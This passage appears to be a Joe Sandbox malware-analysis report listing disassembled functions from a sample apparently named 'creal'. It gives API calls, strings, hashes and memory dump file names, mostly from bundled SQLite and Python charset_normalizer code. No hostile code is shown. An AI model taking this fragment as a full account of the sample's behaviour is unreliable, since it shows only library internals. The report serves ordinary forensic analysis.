SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE quick_check GLOB 'CHECK*' OR quick_check GLOB 'NULL*', xrefs: 00007FF8E6906491
cannot add a STORED column, xrefs: 00007FF8E69062B4
Cannot add a NOT NULL column with default value NULL, xrefs: 00007FF8E6906155
SELECT raise(ABORT,%Q) FROM "%w"."%w", xrefs: 00007FF8E690613D, 00007FF8E69061B9, 00007FF8E69062C3
Cannot add a REFERENCES column with non-NULL default value, xrefs: 00007FF8E6906133

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: Cannot add a NOT NULL column with default value NULL$Cannot add a PRIMARY KEY column$Cannot add a REFERENCES column with non-NULL default value$Cannot add a UNIQUE column$Cannot add a column with non-constant default$SELECT CASE WHEN quick_check GLOB 'CHECK*' THEN raise(ABORT,'CHECK constraint failed') ELSE raise(ABORT,'NOT NULL constraint failed') END FROM pragma_quick_check(%Q,%Q) WHERE quick_check GLOB 'CHECK*' OR quick_check GLOB 'NULL*'$SELECT raise(ABORT,%Q) FROM "%w"."%w"$UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q$cannot add a STORED column
API String ID: 3510742995-3865411212
Opcode ID: fef009155f3ec238212e6e53dd1564833794cd72d0552d74e22e0b1999fb271b
Instruction ID: 20012df40b0083cd96ae4b9fc14aab0db48987ec8050d6af0ab9980b008d638f
Opcode Fuzzy Hash: fef009155f3ec238212e6e53dd1564833794cd72d0552d74e22e0b1999fb271b
Instruction Fuzzy Hash: B7E1BD32A29B8285EBA5EB96A5483B933A1FF46BC8F044031DE8D47795DF3CE445D302

Function 00007FF8E71480F0 Relevance: 15.1, APIs: 10, Instructions: 82threadCOMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON312 ref: 00007FF8E71480FD
_PyTrash_cond.PYTHON312 ref: 00007FF8E714810F
_PyThreadState_UncheckedGet.PYTHON312 ref: 00007FF8E7148119
_PyTrash_begin.PYTHON312 ref: 00007FF8E7148128
_Py_Dealloc.PYTHON312 ref: 00007FF8E7148159
_Py_Dealloc.PYTHON312 ref: 00007FF8E7148182
_Py_Dealloc.PYTHON312 ref: 00007FF8E71481AB
_Py_Dealloc.PYTHON312 ref: 00007FF8E71481D4
_Py_Dealloc.PYTHON312 ref: 00007FF8E71481F6
_PyTrash_end.PYTHON312 ref: 00007FF8E7148211

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Object_State_ThreadTrackTrash_beginTrash_condTrash_endUnchecked
String ID:
API String ID: 2819143443-0
Opcode ID: 23d97488961b93e407653e4d04d1075f3d4a6115df0bee2f52c695c0df5d3962
Instruction ID: c7be2b3cbc7795fc1a462c7741dd967a9fbb1cae7c332e23bb80d7f10e93a8a5
Opcode Fuzzy Hash: 23d97488961b93e407653e4d04d1075f3d4a6115df0bee2f52c695c0df5d3962
Instruction Fuzzy Hash: EF41D836A08742C5EB594FA5D85833C32B4EB45FF9F184232CA3A422D4EF7DA4859302

Function 00007FF8E714A440 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 149COMMON

Download Yara Rule

APIs

PyErr_Occurred.PYTHON312(?,?,?,?,?,00007FF8E71459BE), ref: 00007FF8E714A4DE
PyLong_FromSsize_t.PYTHON312(?,?,?,?,?,00007FF8E71459BE), ref: 00007FF8E714A53B
PyObject_RichCompareBool.PYTHON312(?,?,?,?,?,00007FF8E71459BE), ref: 00007FF8E714A552
_Py_Dealloc.PYTHON312(?,?,?,?,?,00007FF8E71459BE), ref: 00007FF8E714A568
_Py_Dealloc.PYTHON312(?,?,?,?,?,00007FF8E71459BE), ref: 00007FF8E714A57C

Strings

__init__, xrefs: 00007FF8E714A5C9, 00007FF8E714A63B
charset_normalizer.md.UnprintablePlugin, xrefs: 00007FF8E714A628
ratio, xrefs: 00007FF8E714A4F4

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$BoolCompareErr_FromLong_Object_OccurredRichSsize_t
String ID: __init__$charset_normalizer.md.UnprintablePlugin$ratio
API String ID: 2538524772-1538754472
Opcode ID: bd24d104d4e5ddc98eea7bfccf0ae522fc41dc3e0d7e104114ce5afde9d774f5
Instruction ID: b4eb9f1abfa602a237aca07cebf5fb64a31bad95b7b88c9c2dabea32a4e877e4
Opcode Fuzzy Hash: bd24d104d4e5ddc98eea7bfccf0ae522fc41dc3e0d7e104114ce5afde9d774f5
Instruction Fuzzy Hash: 4051AD32E08B52C1E629DBA5E9013BD63A1AF48BD0F490231DE7D5B7A5EF3CE4418342

Function 00007FF8E68C0CD0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 135COMMON

Download Yara Rule

APIs

new[].MSPDB140-MSVCRT ref: 00007FF8E68C0DE7

Strings

winFullPathname1, xrefs: 00007FF8E68C0DCC
:, xrefs: 00007FF8E68C0D3C
winFullPathname2, xrefs: 00007FF8E68C0E55
\, xrefs: 00007FF8E68C0D58
?, xrefs: 00007FF8E68C0D11
%s%c%s, xrefs: 00007FF8E68C0D46
:, xrefs: 00007FF8E68C0D01

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: new[]
String ID: %s%c%s$:$:$?$\$winFullPathname1$winFullPathname2
API String ID: 4059295235-3840279414
Opcode ID: a207f01d118e0909cbb0d974f4ba2a02deab42a4a968a7174006491586c55b51
Instruction ID: f192aac767a7cd801f8046a8825d1d370e1990ef3200dceb434b66d9159aa76a
Opcode Fuzzy Hash: a207f01d118e0909cbb0d974f4ba2a02deab42a4a968a7174006491586c55b51
Instruction Fuzzy Hash: 88512221F2CAA695FB649BE1A4117BA6791AF45FC8F0C0136DE4E07686CE3DF4858303

Function 00007FF8E7152220 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PyFloat_AsDouble.PYTHON312 ref: 00007FF8E71522AF
PyErr_Occurred.PYTHON312 ref: 00007FF8E71522C4
PyErr_Occurred.PYTHON312 ref: 00007FF8E7152330
PyFloat_FromDouble.PYTHON312 ref: 00007FF8E715233E

Strings

mess_ratio, xrefs: 00007FF8E715236D
float, xrefs: 00007FF8E71522D4
str, xrefs: 00007FF8E715235A
bool, xrefs: 00007FF8E71522FF

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DoubleErr_Float_Occurred$From
String ID: bool$float$mess_ratio$str
API String ID: 627764739-3758540285
Opcode ID: 8a02f97511670b38e9bcd773b23a0c6d973fa38f5433283c19ee847a82f0f0a0
Instruction ID: 44c0a8b8c741fc57a48dcf46a3daa3978b02ba770e79ff799d7129d887159c6d
Opcode Fuzzy Hash: 8a02f97511670b38e9bcd773b23a0c6d973fa38f5433283c19ee847a82f0f0a0
Instruction Fuzzy Hash: DD41B362A0CBC281EA598BE5E4403BEA3A1FF95BC4F544131EAAD13664DF3CE585D703

Function 00007FF8E7153678 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E715367F
PyDict_SetItem.PYTHON312 ref: 00007FF8E71536A3
_Py_Dealloc.PYTHON312 ref: 00007FF8E71536C1
PyObject_Vectorcall.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7153731
_Py_Dealloc.PYTHON312 ref: 00007FF8E7153748
PyObject_Vectorcall.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E715376D
_Py_Dealloc.PYTHON312 ref: 00007FF8E7153784

Strings

<module>, xrefs: 00007FF8E7153796

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Object_Vectorcall$Dict_Item
String ID: <module>
API String ID: 1355803777-217463007
Opcode ID: f44407c62ba38c985b018eb4be88fb5605f156d51110e078f0643a87e94a1170
Instruction ID: afccda83bc067e14479cdf142c2e5f95f140fffa700fecbaba6524ee48f57332
Opcode Fuzzy Hash: f44407c62ba38c985b018eb4be88fb5605f156d51110e078f0643a87e94a1170
Instruction Fuzzy Hash: C2315575E0DBC3C1EA289FA5E85037D23A1AF45BD8F444035C92D4BBA1DF2DE4458702

Function 00007FF8E68F19A0 Relevance: 14.0, APIs: 1, Strings: 8, Instructions: 478COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E68F1A6C

Strings

indexed, xrefs: 00007FF8E68F1C90
no such column: "%s", xrefs: 00007FF8E68F1FC7
cannot open %s column for writing, xrefs: 00007FF8E68F1FA9
foreign key, xrefs: 00007FF8E68F1C43
cannot open table without rowid: %s, xrefs: 00007FF8E68F1FE4
out of memory, xrefs: 00007FF8E68F1AD8
cannot open view: %s, xrefs: 00007FF8E68F1FDB
cannot open virtual table: %s, xrefs: 00007FF8E68F1FED

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memset
String ID: cannot open %s column for writing$cannot open table without rowid: %s$cannot open view: %s$cannot open virtual table: %s$foreign key$indexed$no such column: "%s"$out of memory
API String ID: 2221118986-554953066
Opcode ID: 1932231faa3f000e4fb05286e58fa8bf6b81f2d0eaf89c5c08db61906353d3de
Instruction ID: 53b115e2d5b86e195da3be85e6214a0e2aef245c520b0fbed8f7915771536eab
Opcode Fuzzy Hash: 1932231faa3f000e4fb05286e58fa8bf6b81f2d0eaf89c5c08db61906353d3de
Instruction Fuzzy Hash: 0322BC72B28B9586EB94DFA584947B937A4FB84BC8F404136DA8D43799DF3CE4A0C701

Function 00007FF8E7144D40 Relevance: 13.6, APIs: 9, Instructions: 71threadCOMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON312 ref: 00007FF8E7144D4D
_PyTrash_cond.PYTHON312 ref: 00007FF8E7144D5F
_PyThreadState_UncheckedGet.PYTHON312 ref: 00007FF8E7144D69
_PyTrash_begin.PYTHON312 ref: 00007FF8E7144D78
_Py_Dealloc.PYTHON312 ref: 00007FF8E7144DA9
_Py_Dealloc.PYTHON312 ref: 00007FF8E7144DD2
_Py_Dealloc.PYTHON312 ref: 00007FF8E7144DFB
_Py_Dealloc.PYTHON312 ref: 00007FF8E7144E1D
_PyTrash_end.PYTHON312 ref: 00007FF8E7144E38

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Object_State_ThreadTrackTrash_beginTrash_condTrash_endUnchecked
String ID:
API String ID: 2819143443-0
Opcode ID: fff406a76837bdfc3caa631c0de594268f2a13e9ca8c66fb56096f08c5388120
Instruction ID: e5fd1e46c905b933792706efbf513bd3cf5771112511a1c1d5475eaab471ed74
Opcode Fuzzy Hash: fff406a76837bdfc3caa631c0de594268f2a13e9ca8c66fb56096f08c5388120
Instruction Fuzzy Hash: 0131DA72908B42C1EB994FB5D84833C22A2AF54FE9F154234CD7E566D4DF7DE4868342

Function 00007FF8E7143220 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 188COMMON

Download Yara Rule

APIs

PyUnicode_New.PYTHON312 ref: 00007FF8E7143311
PyErr_SetString.PYTHON312 ref: 00007FF8E7143358
PyErr_Format.PYTHON312 ref: 00007FF8E7143387
memcpy.VCRUNTIME140 ref: 00007FF8E714340E
_PyUnicode_FastCopyCharacters.PYTHON312 ref: 00007FF8E714346F

Strings

join() result is too long for a Python string, xrefs: 00007FF8E714334E
sequence item %zd: expected str instance, %.80s found, xrefs: 00007FF8E7143376

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_Unicode_$CharactersCopyFastFormatStringmemcpy
String ID: join() result is too long for a Python string$sequence item %zd: expected str instance, %.80s found
API String ID: 3966466113-1579438684
Opcode ID: bd94065e028ba6fa2eb67220a7b20d7e8b3b3746a6e474679368a889752c658a
Instruction ID: 80abca30d60a165ffead8d61cf270a9890943445d927c20cd3f4bd00341c8a81
Opcode Fuzzy Hash: bd94065e028ba6fa2eb67220a7b20d7e8b3b3746a6e474679368a889752c658a
Instruction Fuzzy Hash: 7161C2A2B09746C2EA548B89D8417BD6791FB45BE0F594231CE7D937D0EE3CD846C301

Function 00007FF8E6910940 Relevance: 12.4, APIs: 1, Strings: 7, Instructions: 414COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E69109DA

Strings

table, xrefs: 00007FF8E6910A75
view, xrefs: 00007FF8E6910A6E, 00007FF8E6910B83
temporary table name must be unqualified, xrefs: 00007FF8E6910A0E
sqlite_temp_master, xrefs: 00007FF8E6910997, 00007FF8E6910A9D
sqlite_master, xrefs: 00007FF8E691095F, 00007FF8E6910AC2, 00007FF8E6910E07
there is already an index named %s, xrefs: 00007FF8E6910BE7
%s %T already exists, xrefs: 00007FF8E6910B7C

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: %s %T already exists$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3510742995-2846519077
Opcode ID: 8d24f51b3cd071761d65d7c15b46277e7c666df7a1caa9520ab571ac99f76f39
Instruction ID: 5e088bc251229226d1bc913db7cc3a86e3dee6cc6693543d9177dde7de6b56ac
Opcode Fuzzy Hash: 8d24f51b3cd071761d65d7c15b46277e7c666df7a1caa9520ab571ac99f76f39
Instruction Fuzzy Hash: 7912DC72A2879286EB54EF6194087A93BA0FB85BC8F118235DE8D07B95DF3DE541C702

Function 00007FF8E714C130 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON312(?,?,?,?,?,00007FF8E7146A6E), ref: 00007FF8E714C167
PyObject_RichCompareBool.PYTHON312(?,?,?,?,?,00007FF8E7146A6E), ref: 00007FF8E714C1AE
_Py_Dealloc.PYTHON312(?,?,?,?,?,00007FF8E7146A6E), ref: 00007FF8E714C1C4
_Py_Dealloc.PYTHON312(?,?,?,?,?,00007FF8E7146A6E), ref: 00007FF8E714C1D8
PyErr_Occurred.PYTHON312(?,?,?,?,?,00007FF8E7146A6E), ref: 00007FF8E714C273

Strings

ratio, xrefs: 00007FF8E714C285

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$BoolCompareErr_FromLong_Object_OccurredRichSsize_t
String ID: ratio
API String ID: 2538524772-4234197119
Opcode ID: 3df6ddb79008031f2fa932144166eaa2e045ed27a22e43e2cec9a9a03f3e1f1f
Instruction ID: 6d233b24370188c04a349ce68a8893a8c52aa1433b8ed1329cd86828f6e01b8a
Opcode Fuzzy Hash: 3df6ddb79008031f2fa932144166eaa2e045ed27a22e43e2cec9a9a03f3e1f1f
Instruction Fuzzy Hash: F1517E31A08B42C5E6549FE9E8513BC63A0AF49BD4F184231DE6D077A1FE3DE8928303

Function 00007FF8E714AC10 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

PyObject_VectorcallMethod.PYTHON312 ref: 00007FF8E714AC40
_Py_Dealloc.PYTHON312 ref: 00007FF8E714AC8C
PyObject_Vectorcall.PYTHON312 ref: 00007FF8E714ACD4
_Py_Dealloc.PYTHON312 ref: 00007FF8E714ACEB
_Py_Dealloc.PYTHON312 ref: 00007FF8E714AD30

Part of subcall function 00007FF8E7143800: PyErr_Format.PYTHON312 ref: 00007FF8E7143834

Strings

eligible, xrefs: 00007FF8E714AD43
bool, xrefs: 00007FF8E714AC62, 00007FF8E714AD06

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Object_Vectorcall$Err_FormatMethod
String ID: bool$eligible
API String ID: 131476257-3320767611
Opcode ID: f397ca9387d6dfb1835b31036ec0af176946d4d6a5d65748a34c9214785249c7
Instruction ID: 89a5bfa8206192d97397acf7321210ddabf0c0895688429753a59cce18c272be
Opcode Fuzzy Hash: f397ca9387d6dfb1835b31036ec0af176946d4d6a5d65748a34c9214785249c7
Instruction Fuzzy Hash: CB415E32E09B93C1EB688F91E84137D67A1EF45BD4F494031DA6D0BBA5EE2CE480C712

Function 00007FF8E6907440 Relevance: 12.3, APIs: 6, Strings: 2, Instructions: 302COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E690756F
memset.VCRUNTIME140 ref: 00007FF8E6907622
memcpy.VCRUNTIME140 ref: 00007FF8E690764B
memcpy.VCRUNTIME140 ref: 00007FF8E690772B
memmove.VCRUNTIME140 ref: 00007FF8E690780D
memcpy.VCRUNTIME140 ref: 00007FF8E6907835

Strings

%Q%s, xrefs: 00007FF8E6907794
"%w" , xrefs: 00007FF8E69074F0

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy$memset$memmove
String ID: "%w" $%Q%s
API String ID: 3094553269-1987291987
Opcode ID: 76a79a9a0c9ad75ce3462e3ecd80cd37abcddcb9193abaad3db594063b6a3bbc
Instruction ID: 6f1078c64ac9732252a502f3c7aeb1f3c928264dcd6ff3277e04e375673812b6
Opcode Fuzzy Hash: 76a79a9a0c9ad75ce3462e3ecd80cd37abcddcb9193abaad3db594063b6a3bbc
Instruction Fuzzy Hash: ACC1E226B28A8286EA94EF95A4443797BA1FB46BE4F144235DE6E0B7D5DF3CE440C301

Function 00007FF8E68D0410 Relevance: 12.3, APIs: 5, Strings: 3, Instructions: 254COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68D06BD
memcpy.VCRUNTIME140 ref: 00007FF8E68D0735

Strings

database corruption, xrefs: 00007FF8E68D0498
%s at line %d of [%.10s], xrefs: 00007FF8E68D04A4
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68D048C

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 3510742995-3418467682
Opcode ID: c07ec9040e4e797a8c51df3787157870fcb5e8697a4d754e414baa0aba183f8f
Instruction ID: 83d25461baf8e3c0da3cef1485a3ea5e81b8ad5e6344e98e93884739634aa5d4
Opcode Fuzzy Hash: c07ec9040e4e797a8c51df3787157870fcb5e8697a4d754e414baa0aba183f8f
Instruction Fuzzy Hash: F0A17772B1C2E18AD7208F9994447BD7BA6EB80BC0F044535DF8A47B86DE3CE545C722

Function 00007FF8E7146060 Relevance: 12.1, APIs: 8, Instructions: 60threadCOMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON312 ref: 00007FF8E714606D
_PyTrash_cond.PYTHON312 ref: 00007FF8E714607F
_PyThreadState_UncheckedGet.PYTHON312 ref: 00007FF8E7146089
_PyTrash_begin.PYTHON312 ref: 00007FF8E7146098
_Py_Dealloc.PYTHON312 ref: 00007FF8E71460C9
_Py_Dealloc.PYTHON312 ref: 00007FF8E71460F2
_Py_Dealloc.PYTHON312 ref: 00007FF8E7146114
_PyTrash_end.PYTHON312 ref: 00007FF8E714612F

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Object_State_ThreadTrackTrash_beginTrash_condTrash_endUnchecked
String ID:
API String ID: 2819143443-0
Opcode ID: 1808094ad2c5952838fb359644ebaa2aa6756bbb3d9bb10f20ec9669fa938947
Instruction ID: 6608f99151f6b6c8b6dae990e42e4a290ce8a684ea84179e79dd7186ca3dc913
Opcode Fuzzy Hash: 1808094ad2c5952838fb359644ebaa2aa6756bbb3d9bb10f20ec9669fa938947
Instruction Fuzzy Hash: 0121C836A08B42C1EB594FA5E95837C22B1AF48FEDF144234C93E422D9DF7DE4858342

Function 00007FF8E68C2B40 Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 334COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8E68C2EEA

Strings

misuse, xrefs: 00007FF8E68C2CE7, 00007FF8E68C2D4A
ATTACH x AS %Q, xrefs: 00007FF8E68C2BD2
